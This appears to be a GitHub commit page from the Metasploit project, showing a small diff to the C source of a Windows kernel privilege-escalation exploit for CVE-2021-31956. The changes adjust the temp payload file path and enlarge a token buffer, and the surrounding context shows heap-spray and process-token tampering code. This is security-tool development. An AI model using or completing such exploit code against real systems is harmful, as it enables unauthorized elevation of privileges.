0x10000 /shrug

rapid7 · Jan 21, 2022 · 3e6f3a1 · 3e6f3a1
1 parent 31d57e7
commit 3e6f3a1
Showing 1 changed file with 3 additions and 3 deletions.
diff --git a/external/source/exploits/CVE-2021-31956/CVE-2021-31956/dllmain.c b/external/source/exploits/CVE-2021-31956/CVE-2021-31956/dllmain.c
@@ -402,6 +402,7 @@ int tiggerLeak()
 	/*dprintf("got temp filename %s", lpTempFileName);*/
 
 	hFile = CreateFileA("C:\\Users\\User\\AppData\\Local\\Temp\\payload",
+	/*hFile = CreateFileA("payload",*/
 		GENERIC_READ | GENERIC_WRITE,
 		FILE_SHARE_READ | FILE_SHARE_WRITE,
 		NULL,
@@ -538,7 +539,6 @@ int HeapSpray()
 
 	}  
 
-
 	for (int i = 1; i < SPRAY_COUNT; i+=2)
 	{
 
@@ -757,8 +757,8 @@ NTSTATUS EnumProcessEprocess(PWNF_STATE_NAME StateName, PUCHAR Buff)
 		UINT64 token =  GetProcessToken(*(PULONGLONG)&(NameIns->StateName));
 
 
-		UCHAR tokenBuff[0x6000] = { 0 };
-		ULONG tokenBufferSize = 0x6000;
+		UCHAR tokenBuff[0x10000] = { 0 };
+		ULONG tokenBufferSize = 0x10000;
 
 		NameIns->StateData = (struct _WNF_STATE_DATA*)(eProcess + TOKEN_OFFSET);
 		state = OverStateData(StateName, Buff);